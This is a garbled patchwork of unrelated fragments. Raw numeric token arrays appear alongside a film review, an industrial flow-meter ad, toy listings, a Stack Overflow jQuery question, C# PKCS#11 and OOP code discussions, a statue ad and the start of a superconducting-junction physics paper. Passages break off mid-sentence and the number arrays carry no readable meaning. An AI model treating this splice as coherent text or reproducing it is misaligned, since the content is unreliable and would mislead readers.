187, 1552, 12556, 310, 275, 253, 5281, 273, 253, 11573, 308, 13972, 2434, 3847, 28424, 365, 2, 14, 6495, 323, 327, 253, 564, 794, 2, 428, 7489, 7123, 281, 12394, 275, 285, 562, 15, 428, 46085, 12045, 264, 25284, 323, 3158, 873, 598, 15, 428, 496, 10811, 247, 23367, 11712, 8785, 1083, 323, 1842, 1051, 187, 187, 6180, 7408, 281, 253, 41089, 2, 14, 1876, 253, 1652, 6858, 5074, 275, 253, 7590, 1076, 41089, 878, 247, 2257, 273, 14510, 18248, 1557, 15, 428, 1583, 878, 5352, 2739, 285, 1824, 285, 247, 2257, 273, 2389, 327, 247, 3963, 3720, 15, 428, 6618, 3797, 247, 25852, 659, 1051, 187, 187, 22246, 476, 37431, 13, 10507, 13, 285, 1132, 275, 11553, 10223, 308, 290, 434, 9985, 14, 5072, 308, 35989, 15, 428, 2058, 721, 4669, 1048, 285, 655, 13048, 4618, 13, 253, 16583, 6131, 9828, 273, 2317, 323, 5753, 281, 1132, 8634, 380, 9985, 3189, 308, 35989, 310, 8521, 3346, 187, 187, 1552, 546, 348, 9581, 33784, 27768, 310, 3962, 323, 634, 4980, 33784, 15, 657, 2560, 386, 8090, 273, 13037, 2602, 246, 24533, 403, 6699, 342, 247, 2206, 249, 28865, 285, 6026, 3962, 323, 634, 1652, 42994, 15, 6618, 3797, 247, 11038, 2963, 1171, 1051, 187, 187, 3726, 1472, 512, 253, 22324, 15, 10215, 441, 15, 428, 1176, 6628, 342, 884, 11936, 731, 264, 2827, 39053, 275, 247, 5718, 3817, 964, 1384, 1027, 3295, 47603, 15, 428, 25173, 309, 88, 18956, 14902, 12610, 444, 6230, 398, 428, 23089, 275, 4047, 8634, 2896, 253, 1039, 13, 368, 778, 971, 281, 755, 247, 1643, 1051, 187, 187, 3726, 1472, 512, 253, 22324, 15, 10215, 441, 15, 428, 1176, 6628, 342, 818, 11936, 380, 1314, 743, 1468, 267, 2827, 39053, 327, 247, 3120, 15, 1638, 1027, 3295, 47603, 15, 428, 25173, 309, 88, 18956, 14902, 12610, 444, 6230, 398, 428, 23089, 275, 4047, 8634, 2896, 253, 1039, 13, 368, 778, 971, 281, 755, 247, 1643, 2391, 187, 187, 1552, 5389, 22802, 8815, 4453, 816, 751, 352, 588, 6923, 253, 29418, 667, 7017, 2, 14, 6618, 3797, 8516, 8815, 275, 247, 22802, 16753, 14, 329, 30340, 275, 7619, 486, 12317, 14, 374, 19354, 7437, 285, 495, 29418, 15, 9817, 24907, 423, 10223, 1916, 656, 1051, 187, 187, 34, 1524, 11320, 6135, 13, 703, 310, 1355, 285, 1077, 28441, 15, 28127, 281, 14518, 275, 634, 7351, 390, 2143, 7351, 13, 368, 476, 1379, 617, 20312, 368, 564, 285, 4822, 2, 496, 617, 42742, 14863, 7619, 13, 703, 4453, 594, 20295, 15, 39914, 342, 362, 1051, 187, 187, 19735, 49301, 2872, 44267, 253, 2097, 281, 3989, 616, 1211, 7863, 44969, 24244, 14, 14947, 342, 253, 13119, 686, 79, 10223, 25418, 8072, 1417, 16790, 873, 407, 44969, 2071, 24560, 15, 428, 380, 5718, 6985, 310, 247, 41789, 285, 24783, 523, 2284, 1051, 187, 187, 44, 2352, 476, 2554, 14, 1993, 616, 1039, 281, 247, 5875, 14898, 342, 436, 11281, 2120, 273, 5825, 902, 784, 11484, 4610, 15, 23089, 281, 1007, 816, 751, 253, 1524, 2968, 13, 436, 15958, 873, 3797, 22314, 247, 11281, 2120, 273, 5875, 298, 7157, 1051, 50, 27, 187, 187, 43, 7267, 1159, 760, 42506, 2378, 32, 187, 187, 42, 1353, 2820, 281, 13194, 619, 500, 7267, 594, 326, 253, 2829, 588, 755, 9300, 1046, 673, 253, 6409, 310, 13661, 15, 187, 2566, 15, 5581, 187, 14277, 5581, 187, 50274, 15684, 686, 24827, 15, 5581, 5618, 187, 28391, 187, 14219, 11685, 608, 16204, 6781, 187, 30952, 32735, 14271, 31, 187, 29, 2974, 31, 187, 50274, 29, 2522, 31, 187, 50270, 29, 13518, 29308, 568, 17880, 14, 25, 3, 4725, 187, 50270, 29, 5564, 31, 39, 15575, 9497, 21328, 9175, 23610, 870, 5564, 31, 187, 50270, 29, 13518, 1416, 568, 1374, 631, 3, 2600, 568, 3429, 30, 10933, 14, 3429, 13, 3302, 14, 7527, 30, 18, 1138, 187, 50270, 29, 4492, 774, 568, 23745, 3, 1511, 568, 1156, 16, 9016, 3, 3420, 568, 14396, 3, 3860, 568, 4826, 15, 9016, 3, 4725, 187, 50270, 14219, 19386, 20378, 6781, 187, 50270, 29, 3866, 187, 50266, 7614, 568, 3614, 1358, 3211, 15, 19203, 15, 681, 16, 19203, 14, 20, 15, 21, 15, 18, 15, 1222, 15, 4305, 3, 187, 50266, 13897, 414, 568, 20409, 9726, 14, 5166, 57, 263, 57, 87, 59, 68, 53, 4530, 895, 23, 58, 5711, 23, 41, 377, 68, 59, 3633, 67, 58, 24580, 10930, 6623, 35, 88, 25, 41, 71, 36, 13117, 568, 187, 50266, 16599, 27422, 568, 266, 10598, 1138, 187, 50270, 870, 3866, 31, 535, 50270, 29, 3866, 31, 187, 50266, 605, 19386, 2127, 187, 50266, 605, 19386, 2127, 2130, 846, 253, 3239, 556, 4751, 10607, 187, 50266, 6999, 3306, 481, 2038, 9, 3701, 14574, 187, 50262, 2044, 2654, 426, 470, 28, 187, 50262, 2044, 3708, 426, 686, 16306, 5618, 535, 50262, 6999, 1381, 8060, 6788, 9738, 9, 3701, 14574, 187, 50258, 301, 426, 3019, 2520, 481, 8560, 1587, 301, 3287, 187, 50258, 22452, 15, 2808, 2073, 8060, 686, 559, 2654, 559, 686, 13661, 5137, 535, 50258, 338, 3914, 9, 2520, 481, 8560, 2073, 2877, 3401, 2295, 686, 1139, 8, 910, 187, 50254, 8581, 426, 686, 18036, 5618, 187, 50258, 94, 7271, 92, 187, 50254, 8581, 426, 686, 1139, 5618, 187, 50258, 94, 535, 50258, 605, 3301, 2829, 342, 9300, 2193, 187, 50258, 5, 30932, 30892, 18, 8539, 2799, 1587, 11183, 14, 1070, 15, 5581, 995, 551, 187, 50254, 301, 27, 2654, 13, 187, 50254, 8581, 27, 3708, 187, 50258, 2023, 1159, 14574, 187, 50254, 22452, 15, 2808, 2073, 2420, 10607, 5137, 187, 50258, 9897, 187, 50262, 9897, 50270, 187, 50266, 9897, 187, 50270, 870, 3866, 31, 187 ]	ooney, or Matt Damon, or perhaps Paul Rudd. But if Absolutely Anythingblessed anyone other than Pegg with omnipotence, it probably wouldn't be a very interesting movie. Pegg has made his bones playing flawed people, from Shaun of the Dead to The World's End, but the nice guy attitude he brings from one project to the next is key. He tends toward playing screw-ups, but they're lovable screw-ups. So he's a strong lead for the latest film by Monty Python troupe member Terry Jones. In Absolutely Anything, Pegg plays sad-sack teacher Neil, who is granted the ability to do - you guessed it - anything by a cabal of aliens (voiced by Jones and his fellow Pythons, Eric Idle, John Cleese, Terry Gilliam, and Michael Palin) to gauge Earth's moral fortitude. If Neil uses their gift for good, Earth survives, but if he uses it for evil the planet perishes. Stakes are high, so naturally Neil goofs off and spies on his gorgeous neighbor (Kate Beckinsale), gives himself a hot bod, and makes his dog talk. (The dog, Dennis, is voiced by the late Robin Williams in one of his final roles.) advertising Absolutely Anything's trailer has a sense of familiarity (there's a distinct Hitchhiker's Guide to the Galaxy vibe to the footage) and feels predictable, but there's a promise of zany charm here to go along with the terrific cast. If it looks derivative, it feels no less watchable.Technical Help? Call now to speak directly to one of our skilled engineers, NOT a call center. 410-666-3200Request for Quotation FCI Fast Response ST100 FCI Fast Response ST100 ST100 is an all-new, thermal dispersion technology gas flow meter that combines the most feature- and function- rich electronics with the industry's most advanced flow sensors to achieve a truly state-of-the-science flow metering solution for industrial processes and plant applications. The ST100 series transmitter is unsurpassed in meeting your current and future need for outputs, process information and communications. Whether your output needs are traditional 4-20 mA analog, frequency/pulse, alarm relays or advanced digital bus communications such as HART, Foundation fieldbus, PROFIBUS, or Modbus, ST100 has you covered. ST100's bus communications have been certified by and are registered devices with HART and Foundation fieldbus. In addition, Emerson Process (Delta V), Yokogawa and ABB (800xA) have tested and verified ST100 Series' Foundation Fieldbus interoperability with their systems. What's more, should you ever need to change or upgrade, ST100 can be converted to any of these outputs with a simple card change, in the field. Now that's taking never obsolete to a whole new level! Then there's ST100's display/readout, which brings new meaning to the term process information. Simply, the ST100's graphical display provides the most comprehensive information on the process measurements and conditions of any thermal flow meter available - see the ST100 close-up page for all the details. To complete the solution, ST100 flow elements and process connections ensure the best possible measurements and effective installation. FCI flow element designs have been perfected and optimized through six decades of R&D and real world experience in thermal dispersion technology and flow metering applications. With thermal dispersion there are no moving parts to foul or clog. This results in the greatest reliability and valuable savings on maintenance. Fast response, accuracy, repeatability and long-life are hallmarks of FCI flow elements available with ST100. And, all new are the STP models, which add pressure measurement. Mass flow, temperature and pressure in a single tap-point thermal dispersion meter… An industry first and FCI exclusive! Then, consider other ST100 Series exclusives like dual-element measuring systems and FCI’s patented VeriCal option that provides significant cost and time savings by performing dynamic calibration verification in-situ, without ever removing the instrument from the process. To ensure both ease of installation and a match with your process conditions, ST100 offers a comprehensive selection of process connections and installation options.Top Selling Pretend Play Toys for 3 Year Olds These are the Top Selling Pretend Play Toys for 3 Year Olds. At ebeanstalk we choose the best developmental Pretend Play Toys. Our team of child-experts review and test thousands of Pretend Play Toys. Then, they match every item to the ability of 3 Year Olds. It's because of this process that we at ebeanstalk can guarantee a child's fun. Ebeanstalk Picks These are our FAVORITES. With so many to choose from, we wanted to give a hand to help you find the absolute coolest toys on the site. All Ebeanstalk Picks → Includes 3 figures: Pinto Mare, Pinto Foal Suckling and Pinto Foal. Facts about Pintos: - First, a Pinto is not a breed of horses, it is a color-pattern that makes a Pinto. - A Pinto horse has a coat... This tent is in the shape of the Little Tikes Cozy Coupe!- Great for on the go fun! - Open sides to climb in and out. - Shock corded poles for quick set up. - Includes a zippered carrying case for eas... Field trip to the zoo!- All the little baby animals in the petting zoo need a lot of tender loving care. - They need fresh food and water and a lot of love on a regular basis. - Set includes a Lamb St... Children can crawl, hide, and play in Pacific Play Tent's Find-Me Tunnel. - At 6 feet long and 19 inches wide, the tunnel offers plenty of space for kids to play.- The Find Me Tunnel is recommended... This enchanted fairy skirt is perfect for your modern fairy. Vibrant layers of gathered soft tulle are finished with a satin ribbon and bow perfect for your little sprite. Set includes a matching poof... They're all the rage. Trust us. - Comses with 10 Sea themed erasers in a storage box. 20 different color mixes. - Original Iwako Puzzle Erasers - Made in Japan.- By the way, you may want to get a few... They're all the rage. Trust us. - Comses with 7 Sea Themed Anaimal erasers on a card. 14 different color mixes. - Original Iwako Puzzle Erasers - Made in Japan.- By the way, you may want to get a few.... This beautiful jumping horse looks just like it will jump the rails any minute!- Set includes brown horse in a jumping pose- A rider in dressage gear- 2 fence pieces and 3 rails.Like Pretend Play Toys... A real pocket doll, she is small and very lightweight. Easy to slide in your bag or school bag, you can take her wherever you go and collect! In her adorable pink dress, she looks so cute. Doll with v... Give budding young builders the means to construct their own massive Mega Mini-World with the Create 'n Play Junior Endless Building set by Mega Bloks. - The storage tub is a sturdy and handy contai... Kids can role-play their way to a healthy lifestyle with this basket full of nutritious meal options. Made to look just like the real deal, this realistic set includes:- a basket full of healthy lunc...Q: Jquery function only executes once? I'm trying to execute my Jquery so that the table will get updated every time the button is pressed. test.php <?php require'mysql.php'; ?> <!-- HTML 5 declaration --> <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title>FYP LoRa Control Panel</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="stylesheet" type="text/css" media="screen" href="style.css" /> <!-- jQuery Script --> <script src="https://code.jquery.com/jquery-3.4.1.min.js" integrity="sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=" crossorigin="anonymous"> </script> <script> // jQuery code // jQuery code available after the page has fully loaded $(document).ready(function(){ var id = 0; var status = 'temp'; $(":button").click(function(){ id = $(this).prop("id"); console.log('button'+ id +'pressed'); if($(this).prop('value') == 'ON'){ status = 'OFF'; }else{ status = 'ON'; } // load table with updated values $('#tbody1').load("update-led.php", { id: id, status: status }, function(){ console.log('table loaded'); }); }); }); </script>

[ 3575, 1416, 568, 27905, 6113, 883, 20607, 1138, 20357, 1268, 15128, 5166, 4, 883, 27436, 870, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 31873, 2618, 1138, 15659, 5166, 4, 883, 6016, 273, 15239, 870, 3575, 31, 187, 50270, 4387, 4110, 11753, 13119, 9, 49, 76, 6113, 883, 6504, 412, 34182, 2370, 29492, 13, 11578, 13019, 49, 76, 6113, 883, 20607, 268, 76, 6113, 883, 20607, 13, 12130, 543, 15239, 2618, 10, 187, 50270, 92, 187, 50266, 20357, 13019, 11252, 3156, 15, 49, 76, 6113, 883, 20607, 268, 883, 426, 268, 76, 6113, 883, 20607, 347, 11578, 13019, 11252, 3156, 15, 49, 76, 6113, 883, 20607, 28, 187, 50266, 338, 313, 81, 883, 2295, 3635, 10, 187, 50262, 22408, 747, 37026, 5330, 1587, 688, 28113, 1511, 273, 1698, 1268, 15128, 5166, 4, 883, 27436, 3287, 535, 50266, 2309, 747, 7335, 302, 9, 12690, 2370, 13, 268, 883, 13, 15239, 2618, 558, 187, 50270, 94, 187, 50274, 94, 187, 94, 187, 50, 27, 187, 187, 12161, 271, 9206, 13, 496, 379, 262, 352, 390, 897, 1480, 1332, 187, 187, 42, 1353, 747, 281, 253, 330, 4, 285, 253, 473, 2795, 10076, 285, 275, 1232, 273, 3652, 271, 11319, 326, 1833, 1361, 479, 1805, 2096, 253, 473, 2795, 12342, 15, 831, 310, 247, 2199, 326, 309, 1160, 281, 1691, 619, 20874, 3640, 281, 1071, 15, 2615, 3095, 564, 689, 436, 285, 5513, 281, 479, 752, 651, 320, 247, 1805, 2746, 285, 2139, 32, 187, 510, 1563, 403, 5113, 275, 619, 330, 4, 2086, 27, 187, 187, 3229, 76, 2019, 9314, 544, 7110, 823, 30298, 1332, 326, 6548, 247, 27488, 1789, 10943, 187, 13921, 187, 35484, 187, 30298, 187, 40829, 874, 187, 14422, 4461, 544, 36693, 27488, 13, 15725, 285, 9700, 418, 1346, 428, 1876, 10894, 187, 9486, 15, 10684, 4461, 671, 556, 823, 30298, 1332, 62, 187, 187, 42, 971, 253, 8597, 2019, 9314, 9206, 281, 823, 247, 27488, 281, 253, 10684, 4461, 1789, 15, 1198, 436, 309, 452, 253, 1563, 10165, 27, 187, 187, 42, 476, 1509, 247, 10684, 4461, 1789, 281, 253, 8597, 2019, 9314, 285, 840, 4981, 885, 253, 187, 1911, 30298, 1332, 3304, 10684, 4461, 281, 823, 247, 27488, 15, 187, 42, 476, 3587, 823, 247, 27488, 281, 253, 10684, 4461, 1580, 253, 10684, 4461, 1789, 2168, 556, 253, 50276, 1911, 30298, 1332, 15, 187, 42, 476, 30686, 253, 8597, 2019, 9314, 1789, 432, 10684, 4461, 275, 534, 1083, 253, 187, 3229, 76, 2019, 9314, 588, 320, 2104, 281, 823, 281, 253, 27488, 1618, 970, 253, 187, 1911, 30298, 1332, 273, 253, 10684, 4461, 15, 187, 187, 3220, 3533, 403, 27, 187, 187, 7371, 273, 253, 1264, 10165, 1840, 452, 247, 3590, 9317, 32, 187, 18837, 253, 10684, 4461, 1014, 452, 271, 823, 30298, 1332, 32, 380, 10684, 4461, 187, 11425, 760, 320, 247, 5718, 1789, 323, 15725, 13, 27488, 285, 9700, 10894, 13, 987, 32, 187, 187, 34, 27, 187, 187, 1394, 452, 281, 789, 562, 604, 247, 27488, 476, 2226, 1293, 1146, 629, 327, 247, 10684, 4461, 285, 604, 247, 3666, 76, 2019, 9314, 476, 8253, 1475, 342, 562, 1146, 629, 327, 247, 10684, 4461, 15, 187, 2042, 326, 434, 253, 5362, 376, 900, 309, 1871, 513, 1633, 751, 436, 187, 4387, 966, 10684, 4461, 551, 187, 50274, 4387, 3666, 76, 2019, 9314, 28568, 551, 755, 28, 3055, 873, 28, 748, 187, 50274, 4387, 5552, 29, 30298, 31, 49627, 551, 755, 28, 873, 28, 748, 187, 50274, 60, 23781, 187, 94, 187, 187, 34, 8597, 21334, 5082, 626, 320, 273, 1199, 897, 1293, 247, 921, 4461, 13, 594, 873, 253, 921, 4461, 347, 247, 18925, 275, 697, 16757, 27, 187, 4387, 966, 3666, 76, 2019, 9314, 551, 187, 50274, 9486, 10684, 42556, 551, 755, 28, 873, 28, 748, 187, 50274, 4387, 3666, 76, 2019, 9314, 9, 14422, 42556, 921, 42556, 10, 551, 187, 50270, 14422, 42556, 426, 921, 42556, 28, 187, 50274, 94, 187, 50274, 4387, 27488, 5733, 30298, 9, 30298, 7731, 10, 551, 187, 50270, 605, 3088, 5017, 342, 7731, 1789, 187, 50270, 14422, 42556, 15, 4717, 9, 34590, 558, 187, 50270, 2309, 2624, 8056, 28, 187, 50274, 94, 187, 94, 187, 187, 5498, 626, 1158, 352, 651, 320, 3451, 281, 452, 374, 5053, 281, 823, 6383, 13, 533, 253, 3666, 76, 2019, 9314, 943, 1335, 452, 253, 8294, 273, 2509, 594, 15, 187, 6436, 13, 1537, 452, 23452, 296, 85, 351, 634, 2523, 32074, 15541, 352, 7729, 2, 535, 9151, 21778, 23231, 14990, 43878, 367, 12548, 6515, 489, 187, 187, 2347, 3676, 310, 634, 21778, 32, 380, 9087, 21778, 1386, 273, 367, 12548, 1073, 263, 33122, 1024, 11323, 253, 4377, 273, 8628, 35902, 13, 23231, 14990, 2, 10039, 272, 432, 253, 6150, 342, 521, 492, 888, 39654, 281, 2983, 13, 15948, 42265, 310, 253, 2256, 273, 436, 898, 14, 12099, 14, 7527, 1073, 263, 2902, 13, 9398, 521, 10610, 13735, 14, 395, 14, 11707, 27170, 15, 23089, 273, 247, 1029, 14, 15177, 8013, 13, 285, 15773, 247, 7000, 17481, 285, 3242, 272, 6848, 4893, 13, 352, 3249, 32487, 275, 247, 2120, 14, 4897, 3497, 3817, 15, 10535, 14, 1026, 16884, 264, 407, 13089, 659, 15, 13089, 2, 1532, 187, 15834, 27, 686, 38306, 8550, 407, 3332, 4780, 275, 2440, 273, 3501, 7736, 3541, 13333, 342, 2014, 8868, 6318, 313, 14853, 50, 10, 14174, 359, 452, 2684, 247, 10527, 1263, 273, 5212, 322, 2513, 7864, 10092, 1665, 33138, 13, 835, 15956, 52, 457, 310, 247, 10713, 2221, 48679, 13, 15956, 84, 457, 310, 247, 6906, 32890, 3085, 13, 15956, 39, 457, 310, 247, 18719, 8388, 409, 36488, 285, 15956, 42, 457, 310, 271, 42415, 15, 844, 10173, 253, 10092, 1665, 1655, 347, 247, 1159, 273, 256, 285, 401, 8090, 9544, 13, 3276, 285, 6431, 2341, 273, 401, 3085, 15, 844, 19270, 2067, 10006, 273, 4254, 273, 841, 33138, 285, 7568, 616, 4451, 3745, 281, 452, 1781, 1885, 273, 247, 4619, 1655, 370, 42, 578, 36, 724, 285, 247, 2622, 14, 3409, 5052, 370, 51, 578, 47, 724, 275, 253, 669, 2059, 5, 1375, 13, 10870, 281, 326, 275, 322, 1830, 16583, 33138, 7744, 908, 275, 15112, 50, 14174, 15, 844, 1287, 247, 1566, 12930, 12797, 273, 253, 10092, 1665, 4619, 1655, 275, 841, 4095, 407, 6024, 5212, 1673, 15, 380, 1543, 403, 275, 1175, 4345, 342, 253, 5661, 941, 323, 427, 67, 14, 2422, 16, 2422, 48, 8626, 64, 89, 15728, 47, 67, 14, 49, 69, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 15728, 47, 67, 33138, 2464, 187, 7582, 27, 187, 14, 686, 52, 15, 575, 55, 15, 575, 35, 518, 2244, 5985, 90, 8, 187, 14, 686, 47, 15, 575, 55, 15, 575, 44, 5025, 729, 8, 187, 14, 686, 42, 15, 575, 42, 15, 575, 30428, 729, 28017, 8, 187, 14, 686, 55, 15, 575, 55, 15, 575, 35, 311, 457, 6058, 729, 8, 187, 14, 686, 55, 15, 575, 55, 15, 575, 51, 90, 1370, 46964, 8, 187, 14, 686, 42, 15, 575, 55, 15, 575, 50126, 1479, 8, 187, 14, 686, 48, 15, 575, 34, 15, 575, 46, 2788, 5582, 729, 8, 187, 14, 686, 46, 15, 575, 42039, 15, 575, 44, 484, 363, 8202, 729, 8, 187, 14, 686, 34, 15, 575, 34, 15, 575, 40, 311, 538, 729, 8, 187, 2754, 27, 187, 14, 209, 187, 14, 209, 187, 5564, 27, 686, 1401, 510, 33977, 10031, 273, 6053, 11018, 272, 2101, 565, 3462, 322, 2513, 7864, 41442, 424, 686, 187, 1532, 187, 187, 49, 26080, 4893, 273, 32890, 5865, 14174, 497, 3012, 3710, 407, 253, 4942, 1698, 5350, 273, 32890, 3541, 15, 831, 17194, 3302, 18595, 281, 897, 2221, 48679, 16, 1592, 409, 36488, 313, 52, 16, 39, 10, 9769, 5289, 347, 3720, 323, 253, 2440, 275, 3501, 7736, 5212, 20221, 13135, 6700, 2370, 313, 37231, 84, 10, 1008, 4013, 28, 1214, 12547, 9401, 87, 28, 1214, 9494, 69, 1570, 11977, 253, 806, 5661, 22786, 273, 322, 7864, 10092, 1665, 33138, 1008, 51, 90, 1370, 46964, 54, 28, 1214, 51, 90, 1370, 46964, 1092, 1199, 4116, 369, 5087, 281, 8968, 10092, 1665, 4095, 342, 2570, 5212, 15938, 6941, 12797, 875, 1029, 285, 1698, 4619, 18476, 15, 329, 1180, 273, 1027, 2813, 5289, 497, 2783, 1008, 15271, 17131, 9006, 28, 1214, 40, 44, 39, 18, 28, 1214, 15271, 17131, 9006, 19, 28, 1214, 41, 276, 39753, 28, 1214, 44, 1513, 968, 4629, 66, 18, 28, 1214, 44, 1513, 968, 4629, 66, 19, 28, 1214, 40, 2735, 28, 1214, 50182, 463, 8720, 28, 1214, 35, 311, 6058, 729, 62, 1754, 2057, 327, 32890, 653, 565, 1406, 982, 2538, 390, 34791, 14, 12512, 10841, 12797, 1561, 253, 5212, 11394, 15, 1723, 13, 841, 7274, 497, 1754, 327, 5289, 342, 3777, 8847, 6718, 370, 42, 64, 68, 51, 64, 47, 5, 273, 33138, 15, 187, 187, 24881, 13, 5547, 22786, 273, 5234, 494, 427, 67, 14, 2422, 16, 2422, 48, 8626, 64, 89, 15728, 47, 67, 14, 49, 69, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 15728, 47, 67, 33138, 369, 2361, 275, 1008, 45, 782, 249, 28, 1214, 50126, 1479, 28, 1214, 51, 90, 1370, 46964, 20, 1570, 2053, 33138, 403, 273, 322, 2513, 7864, 1511, 13, 891, 15, 70, 904, 247, 10382, 4602, 273, 253, 322, 2513, 16583, 16889, 285, 256, 7864, 25749, 15, 322, 2513, 7864, 2605, 556, 1029, 8847, 6718, 13, 370, 42, 64, 68, 51, 64, 47, 12063, 1955, 281, 253, 3361, 273, 16583, 11394, 15956, 42, 15385, 2058, 253, 1072, 673, 253, 2644, 2605, 37824, 347, 247, 2014, 16889, 342, 1675, 281, 271, 6024, 5212, 1673, 370, 41, 578, 2068, 724, 285, 5212, 8868, 669, 6065, 5, 42393, 715, 253, 2605, 13, 1580, 253, 10444, 3828, 256, 310, 1512, 6906, 281, 3601, 5212, 1673, 15, 1284, 247, 906, 13, 253, 5212, 1673, 11734, 253, 41895, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 724, 3828, 588, 10007, 697, 3576, 28565, 13, 30753, 253, 4619, 1655, 1453, 273, 253, 2644, 4021, 14, 2009, 4586, 322, 2513, 7864, 2605, 15, 4794, 281, 7567, 15, 1008, 54, 1033, 561, 4629, 66, 1092, 3576, 28565, 275, 253, 49203, 41895, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 724, 310, 6537, 407, 5721, 14, 5969, 41895, 10001, 20, 5, 7510, 6399, 15436, 29577, 13, 534, 476, 320, 4354, 294, 16586, 407, 247, 5075, 5212, 1673, 15, 187, 187, 3138, 52, 10398, 1420, 2216, 273, 322, 2513, 7864, 10092, 1665, 16889, 15, 27057, 1386, 14371, 6867, 3268, 273, 4667, 2442, 669, 3442, 370, 2112, 253, 2605, 15, 733, 14190, 10713, 2193, 275, 253, 322, 14722, 13, 310, 16013, 275, 253, 4766, 256, 3828, 285, 27309, 275, 253, 41130, 2919, 401, 15, 380, 8847, 2978, 11498, 403, 671, 7101, 275, 253, 4677, 27, 669, 33724, 61, 2260, 8454, 45, 724, 310, 253, 4693, 24280, 6864, 285, 669, 33724, 61, 2981, 578, 52, 94, 370, 310, 253, 25253, 2978, 6867, 323, 13065, 706, 1514, 5774, 18, 66, 15, 2265, 910, 3429, 568, 22, 15, 22, 3591, 986, 187, 187, 510, 4096, 273, 436, 2929, 310, 281, 1287, 247, 3762, 12930, 2710, 10006, 273, 4254, 273, 322, 2513, 7864, 10092, 1665, 4095, 15, 844, 12661, 247, 21582, 280, 14407, 474, 1566, 323, 247, 4021, 14, 2009, 4586, 10092, 1665, 2605, 275, 534, 5212, 285, 5508, 3054, 273, 253, 401, 14, 18405, 275, 271, 256, 7864, 629, 273, 253, 2605, 476, 1818, 253, 3607, 285, 1014, 253, 3216, 1375, 273, 697, 322, 261, 629, 15, 1284, 247, 906, 13, 271, 6024, 5212, 1673, 778, 5234, 253, 16889, 432, 247, 32890, 281, 247, 11623, 422, 1375, 390, 778, 4979, 247, 6041, 1655, 14, 14213, 5886, 281, 271, 28483, 581, 15, 844, 7277, 253, 1543, 342, 5661, 941, 4102, 2797, 323, 323, 427, 67, 14, 2422, 16, 2422, 48, 8626, 64, 89, 15728, 47, 67, 14, 49, 69, 14982, 17, 15, 1525, 724, 7510, 14982, 17, 15, 520, 15728, 47, 67, 33138, 15, 187, 187, 1231, 1908, 253, 33362, 333, 2122, 2605, 3559, 275, 2667, 6019, 18, 12530, 733, 8414, 273, 767, 32890, 14722, 15956, 52, 457, 9070, 407, 247, 16583, 11394, 15956, 42, 16236, 271, 10444, 6906, 32890, 3085, 15956, 84, 457, 285, 247, 41130, 3828, 15956, 39, 15385, 1916, 6266, 253, 2221, 6259, 4616, 275, 253, 2605, 13, 359, 5467, 326, 253, 2515, 273, 247, 16076, 2701, 403, 25146, 323, 512, 18494, 15, 844 ]

param name="pkcs11Library">Low level PKCS#11 wrapper</param> /// <param name="slotId">PKCS#11 handle of slot</param> public ISlot Create(Pkcs11InteropFactories factories, LowLevelPkcs11Library pkcs11Library, ulong slotId) { LowLevelAPI41.Pkcs11Library p11 = pkcs11Library as LowLevelAPI41.Pkcs11Library; if (p11 == null) throw new ArgumentException("Incorrect type of low level PKCS#11 wrapper"); return new Slot(factories, p11, slotId); } } } Q: Pass an Object, Inherit it or use direct method I'm new to the C# and the OOP scenario and in process of building an infrastructure that'll help me better understand the OOP concepts. This is a project that I made to put my classroom knowledge to test. Can someone go over this and explain to me what would be a better approach and why? The following are objects in my C# program: deskClerk [has addCustomer method that returns a Customer object.] Order Stock Customer Utility Showroom [Contains Customer, Stock and Order Lists - All lists private. Showroom also has addCustomer method] I want the deskClerk Object to add a Customer to the Showroom object. For this I have the following choices: I can pass a Showroom object to the deskClerk and then utilise the addCustomer method inside Showroom to add a Customer. I can directly add a Customer to the Showroom since the Showroom object already has the addCustomer method. I can inherit the deskClerk object from Showroom in which case the deskClerk will be able to add to the Customer list using the addCustomer method of the Showroom. My questions are: Which of the three choices above have a sound logic? Should the Showroom even have an addCustomer method? The Showroom should only be a storage object for Stock, Customer and Order lists, right? A: You have to work out if a Customer can exist without being part on a Showroom and if a DeskClerk can float around with out being part on a Showroom. If that's the scenraio I'd do something like this public class Showroom { public DeskClerk Clerk { get; private set; } public List<Customer> Customers { get; set; } [...] } A desk clerk wouldn't be of much use without a showroom, so set the showroom as a dependency in its constructor: public class DeskClerk { private ShowRoom { get; set; } public DeskClerk(ShowRoom showRoom) { ShowRoom = showRoom; } public Customer AddCustomer(Customer customer) { //do stuff with customer object ShowRoom.Add(customer); return cutomer; } } Don't think it would be correct to have 2 places to add customers, but the DeskClerk should still have the responsibility of doing so. However, might have misundersttod your issue :-) Hope it helps! DC Gallery Aquaman Comic PVC Statue How deep is your Gallery? The DC Gallery line of PVC dioramas now adds the King of Atlantis, Aquaman! Springing from the sea with his trident poised to attack, Arthur Curry is the subject of this 9-inch-scale diorama, wearing his classic orange-and-green outfit. Made of a high-quality plastic, and featuring a detailed sculpt and exacting paint applications, it comes packaged in a full-color window box. Hand-sculpted by Jean St. Jean!--- abstract: 'Motivated by recent progress in development of cryogenic memory compatible with single flux quantum (SFQ) circuits we have performed a theoretical study of magnetic SIsFS Josephson junctions, where ’S’ is a bulk superconductor, ’s’ is a thin superconducting film, ’F’ is a metallic ferromagnet and ’I’ is an insulator. We calculate the Josephson current as a function of s and F layers thickness, temperature and exchange energy of F film. We outline several modes of operation of these junctions and demonstrate their unique ability to have large product of a critical current $I_{C}$ and a normal-state resistance $R_{N}$ in the $\pi$ state, comparable to that in SIS tunnel junctions commonly used in SFQ circuits. We develop a model describing switching of the Josephson critical current in these devices by external magnetic field. The results are in good agreement with the experimental data for Nb-Al/AlO${_x}$-Nb-Pd$_{0.99}$Fe$_{0.01}$-Nb junctions.' author: - 'S. V. Bakurskiy' - 'N. V. Klenov' - 'I. I. Soloviev' - 'V. V. Bol’ginov' - 'V. V. Ryazanov' - 'I. V. Vernik' - 'O. A. Mukhanov' - 'M. Yu. Kupriyanov' - 'A. A. Golubov' date: - - title:'**Theoretical Model of Superconducting Spintronic SIsFS Devices** ' --- Practical applications of superconducting digital circuits were significantly limited by the relatively low capacity of superconducting memory. This motivated initial proposals to use superconductor/ferromagnet (S/F) hybrid structures as basis for the development in cryogenic magnetic Random Access Memories (RAMs) 